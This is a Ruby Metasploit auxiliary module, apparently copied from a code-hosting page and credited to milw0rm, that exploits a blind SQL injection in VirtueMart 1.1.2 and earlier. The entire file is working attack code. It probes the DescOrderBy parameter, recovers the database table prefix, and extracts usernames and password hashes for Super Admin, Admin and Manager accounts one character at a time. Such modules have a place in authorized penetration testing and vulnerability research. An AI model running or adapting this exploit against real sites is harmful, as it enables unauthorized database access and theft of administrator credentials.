454 lines
No EOL
11 KiB
Ruby
Executable file
454 lines
No EOL
11 KiB
Ruby
Executable file
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'VirtueMart <= 1.1.2 Sql Injection Exploit',
|
|
'Description' => %q{
|
|
This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability.
|
|
},
|
|
'Author' => 'Janek Vind "waraxe" <come2waraxe[at]yahoo.com>',
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '1.0',
|
|
'References' =>
|
|
[
|
|
['BID', '33480'],
|
|
['URL', 'http://www.waraxe.us/advisory-71.html'],
|
|
['URL', 'http://secunia.com/advisories/33671/']
|
|
],
|
|
'DisclosureDate' => 'Jan 24 2009'))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('URI', [false, 'Path to VirtueMart', '']),
|
|
OptInt.new('TARGETID', [false, 'Target ID (optional)']),
|
|
OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_']),
|
|
OptBool.new('ALLSA', [ false, 'Fetch all Super Admins', true]),
|
|
OptBool.new('ALLA', [ false, 'Fetch all Admins', false]),
|
|
OptBool.new('ALLM', [ false, 'Fetch all Managers', false]),
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def run
|
|
|
|
@marker = 'name="addtocart"'
|
|
@target_uri = '/' + datastore['URI'] + '/'
|
|
@target_uri = @target_uri.gsub(/\/{2,}/, '/')
|
|
@target_id = datastore['TARGETID']
|
|
@target_prefix = datastore['PREFIX']
|
|
@requests = @fetched = 0
|
|
time_start = Time.now.to_i
|
|
|
|
# debug_level=2 - more debug messages, 1 - less
|
|
@debug_level = 1
|
|
|
|
if(!pre_test)
|
|
print_error('Exploit failed in pre-test phase')
|
|
return
|
|
end
|
|
|
|
if(datastore['ALLSA'])
|
|
if(!get_users(1))
|
|
print_error('Exploit failed fetching Super Admins')
|
|
return
|
|
end
|
|
end
|
|
|
|
if(datastore['ALLA'])
|
|
if(!get_users(2))
|
|
print_error('Exploit failed fetching Admins')
|
|
return
|
|
end
|
|
end
|
|
|
|
if(datastore['ALLM'])
|
|
if(!get_users(3))
|
|
print_error('Exploit failed fetching Managers')
|
|
return
|
|
end
|
|
end
|
|
|
|
if((@target_id < 1) and (!datastore['ALLSA']) and (!datastore['ALLA']) and (!datastore['ALLM']))
|
|
print_status('Target ID or group(s) not specified, fetching Super Admins as default')
|
|
if(!get_users(1))
|
|
print_error('Exploit failed fetching Super Admins')
|
|
return
|
|
end
|
|
end
|
|
|
|
if(@target_id > 1)
|
|
if(!get_user())
|
|
print_error("Exploit failed fetching user with ID=#{@target_id}")
|
|
return
|
|
end
|
|
end
|
|
|
|
time_spent = Time.now.to_i - time_start
|
|
|
|
print_status("Exploitation results:")
|
|
print_status("Got data for #{@fetched} users")
|
|
print_status("Total time spent: #{time_spent} seconds")
|
|
print_status("HTTP requests needed: #{@requests}")
|
|
|
|
end
|
|
############################################################
|
|
def make_post(post_data)
|
|
|
|
timeout = 30
|
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
|
'uri' => @target_uri,
|
|
'method' => 'POST',
|
|
'data' => post_data,
|
|
}, timeout)
|
|
|
|
if(res and res.body)
|
|
@requests += 1
|
|
return res.body
|
|
else
|
|
print_error('No response from server')
|
|
return nil
|
|
end
|
|
|
|
rescue ::Exception
|
|
print_error("Error: #{$!.class} #{$!}")
|
|
return nil
|
|
end
|
|
end
|
|
############################################################
|
|
def test_condition(condition)
|
|
|
|
max_tries = 10
|
|
|
|
post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,"
|
|
post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))"
|
|
|
|
1.upto(max_tries) do |i|
|
|
|
|
buf = make_post(post_data)
|
|
|
|
if(buf)
|
|
return buf.include?(@marker)
|
|
else
|
|
print_status("Sleeping #{i} seconds")
|
|
sleep(i)
|
|
print_status("Awake, retry ##{i}")
|
|
end
|
|
end
|
|
|
|
return nil
|
|
end
|
|
############################################################
|
|
def pre_test
|
|
|
|
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1'
|
|
buf = make_post(post_data) or return false
|
|
|
|
if(!buf.include?(@marker))
|
|
print_error('Pre-test 1 failed - VirtueMart not detected')
|
|
return false
|
|
else
|
|
print_status('Pre-test 1 passed - VirtueMart detected')
|
|
end
|
|
|
|
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,'
|
|
buf = make_post(post_data) or return false
|
|
|
|
if(buf.include?(@marker))
|
|
print_error('Pre-test 2 failed - target is patched?')
|
|
return false
|
|
else
|
|
print_status('Pre-test 2 passed - injection detected')
|
|
end
|
|
|
|
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,(SELECT 1)'
|
|
buf = make_post(post_data) or return false
|
|
|
|
if(!buf.include?(@marker))
|
|
print_error('Pre-test 3 failed - subselects not supported?')
|
|
return false
|
|
else
|
|
print_status('Pre-test 3 passed - subselects supported')
|
|
end
|
|
|
|
if(@target_prefix == '')
|
|
print_status('Prefix not provided, trying to fetch')
|
|
@target_prefix = get_prefix
|
|
if(!@target_prefix)
|
|
print_error('Prefix fetch failed')
|
|
return false
|
|
else
|
|
print_status("Prefix fetched: #{@target_prefix}")
|
|
return true
|
|
end
|
|
end
|
|
|
|
post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," +
|
|
"(SELECT 1 FROM #{@target_prefix}users LIMIT 1)"
|
|
|
|
buf = make_post(post_data) or return false
|
|
|
|
if(!buf.include?(@marker))
|
|
print_error('Pre-test 4 failed - wrong prefix?')
|
|
print_status('Trying to fetch valid prefix')
|
|
@target_prefix = get_prefix
|
|
if(!@target_prefix)
|
|
print_error('Prefix fetch failed')
|
|
return false
|
|
else
|
|
print_status("Prefix fetched: #{@target_prefix}")
|
|
return true
|
|
end
|
|
else
|
|
print_status('Pre-test 4 passed - prefix OK')
|
|
end
|
|
|
|
return true
|
|
end
|
|
############################################################
|
|
def get_char(pattern, min, max)
|
|
|
|
num = get_num(pattern, min, max) or return nil
|
|
|
|
return num.chr
|
|
|
|
end
|
|
############################################################
|
|
def get_hash(group = nil, u_pos = nil)
|
|
|
|
hash = ''
|
|
|
|
if(group and u_pos)
|
|
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
|
|
else
|
|
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE id=#{@target_id})"
|
|
end
|
|
|
|
p_len = get_num(pattern, 32, 100) or return nil
|
|
|
|
print_status("Got hash length: #{p_len.to_s}")
|
|
|
|
1.upto(p_len) do |pos|
|
|
print_status("Finding hash char pos #{pos}") if @debug_level > 0
|
|
|
|
if(group and u_pos)
|
|
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
|
|
else
|
|
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
|
|
end
|
|
|
|
c = get_char(pattern, 32, 128) or return nil
|
|
|
|
hash << c
|
|
print_status("Known: #{hash}") if @debug_level > 0
|
|
|
|
end
|
|
|
|
return hash
|
|
|
|
end
|
|
############################################################
|
|
def get_prefix
|
|
|
|
prefix = ''
|
|
|
|
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' +
|
|
'(SELECT 1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1)'
|
|
buf = make_post(post_data) or return false
|
|
|
|
if(!buf.include?(@marker))
|
|
print_error('INFORMATION_SCHEMA not found - mysql < 5.0?')
|
|
return false
|
|
else
|
|
print_status('INFORMATION_SCHEMA detected, proceed')
|
|
end
|
|
|
|
pattern = '(SELECT LENGTH(table_name)FROM INFORMATION_SCHEMA.TABLES' +
|
|
' WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)'
|
|
|
|
p_len = get_num(pattern, 5, 100) or return nil
|
|
p_len -= 10
|
|
|
|
if(p_len < 0)
|
|
print_error("Invalid prefix length: #{p_len.to_s}")
|
|
return false
|
|
elsif(p_len == 0)
|
|
print_status('Prefix seems to be empty')
|
|
@target_prefix = ''
|
|
return true
|
|
else
|
|
print_status("Got prefix length: #{p_len.to_s}")
|
|
end
|
|
|
|
1.upto(p_len) do |pos|
|
|
print_status("Finding prefix char pos #{pos}") if @debug_level > 0
|
|
|
|
pattern = "(SELECT ORD(SUBSTR(table_name,#{pos},1))FROM INFORMATION_SCHEMA.TABLES" +
|
|
" WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)"
|
|
|
|
c = get_char(pattern, 32, 128) or return nil
|
|
|
|
prefix << c
|
|
print_status("Known: #{prefix}") if @debug_level > 0
|
|
|
|
end
|
|
|
|
return prefix
|
|
end
|
|
############################################################
|
|
def get_num(pattern, min = 1, max = 100)
|
|
|
|
curr = 0;
|
|
|
|
while(1)
|
|
|
|
area = max - min
|
|
if(area < 2 )
|
|
post_data = "#{pattern}=#{max}"
|
|
eq = test_condition(post_data)
|
|
|
|
if(eq == nil)
|
|
return nil
|
|
elsif(eq)
|
|
len = max
|
|
else
|
|
len = min
|
|
end
|
|
|
|
break
|
|
end
|
|
|
|
half = area / 2
|
|
curr = min + half
|
|
|
|
post_data = "#{pattern}>#{curr}"
|
|
|
|
bigger = test_condition(post_data)
|
|
|
|
if(bigger == nil)
|
|
return nil
|
|
elsif(bigger)
|
|
min = curr
|
|
else
|
|
max = curr
|
|
end
|
|
|
|
print_status("Current: #{min}-#{max}") if @debug_level > 1
|
|
|
|
end
|
|
|
|
return len
|
|
|
|
end
|
|
############################################################
|
|
def get_username(group = nil, u_pos = nil)
|
|
|
|
username = ''
|
|
|
|
if(group and u_pos)
|
|
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
|
|
else
|
|
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE id=#{@target_id})"
|
|
end
|
|
|
|
u_len = get_num(pattern, 1, 150) or return nil
|
|
|
|
print_status("Got username length: #{u_len.to_s}")
|
|
|
|
1.upto(u_len) do |pos|
|
|
print_status("Finding username char pos #{pos}") if @debug_level > 0
|
|
|
|
if(group and u_pos)
|
|
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
|
|
else
|
|
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
|
|
end
|
|
|
|
c = get_char(pattern, 32, 128) or return nil
|
|
|
|
username << c
|
|
print_status("Known: #{username}") if @debug_level > 0
|
|
|
|
end
|
|
|
|
return username
|
|
|
|
end
|
|
############################################################
|
|
def get_users(group)
|
|
|
|
if(group == 1)
|
|
usertype = '0x53757065722041646d696e6973747261746f72'
|
|
print_status('Starting to fetch all Super Admins')
|
|
elsif(group == 2)
|
|
usertype = '0x41646d696e6973747261746f72'
|
|
print_status('Starting to fetch all Admins')
|
|
else
|
|
usertype = '0x4d616e61676572'
|
|
print_status('Starting to fetch all Managers')
|
|
end
|
|
|
|
pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE usertype=#{usertype})"
|
|
|
|
u_cnt = get_num(pattern, 0, 100) or return nil
|
|
|
|
print_status("Targets to fetch: #{u_cnt.to_s}")
|
|
|
|
0.upto(u_cnt - 1) do |pos|
|
|
|
|
print_status("Fetching user pos #{pos}")
|
|
|
|
username = get_username(usertype, pos) or return nil
|
|
hash = get_hash(usertype, pos) or return nil
|
|
@fetched += 1
|
|
|
|
print_status(
|
|
"Got user data:" +
|
|
"\n==============================\n" +
|
|
"Username: #{username}\n" +
|
|
"Hash: #{hash}" +
|
|
"\n=============================="
|
|
)
|
|
|
|
end
|
|
|
|
return true
|
|
end
|
|
############################################################
|
|
def get_user
|
|
|
|
print_status("Testing user ID=#{@target_id}")
|
|
pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE ID=#{@target_id})"
|
|
u_cnt = get_num(pattern, 0, 100) or return nil
|
|
|
|
if(u_cnt != 1)
|
|
print_error("No user with ID=#{@target_id}")
|
|
return true
|
|
end
|
|
|
|
print_status("Working with user ID=#{@target_id}")
|
|
|
|
username = get_username or return nil
|
|
hash = get_hash or return nil
|
|
@fetched += 1
|
|
|
|
print_status(
|
|
"Got user data:" +
|
|
"\n==============================\n" +
|
|
"Username: #{username}\n" +
|
|
"Hash: #{hash}" +
|
|
"\n=============================="
|
|
)
|
|
|
|
return true
|
|
end
|
|
############################################################
|
|
end
|
|
|
|
# milw0rm.com [2009-03-31] |